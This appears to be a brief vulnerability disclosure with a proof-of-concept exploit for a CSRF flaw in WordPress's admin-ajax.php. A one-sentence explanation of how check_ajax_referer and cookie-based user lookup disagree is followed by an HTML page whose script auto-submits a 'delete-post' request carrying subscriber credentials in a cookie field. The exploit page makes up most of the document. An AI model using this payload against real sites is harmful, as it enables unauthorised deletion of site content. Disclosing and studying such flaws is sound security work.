check_ajax_referer only checks if the incoming request contains valid user credentials but wp_get_current_user still uses WP cookies to determine the current user, so anyone with a subscriber role (or another role) can perform CSRF attacks.
<html>
<body>
<form method="post" action="http://localhost/wp/wp-admin/admin-ajax.php">
<input type="text" name="action" value="delete-post" />
<input type="text" name="id" value="Post_ID" />
<input type="text" name="cookie" value="wordpressuser_sitehash=subscriber; wordpresspass_sitehash=password" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>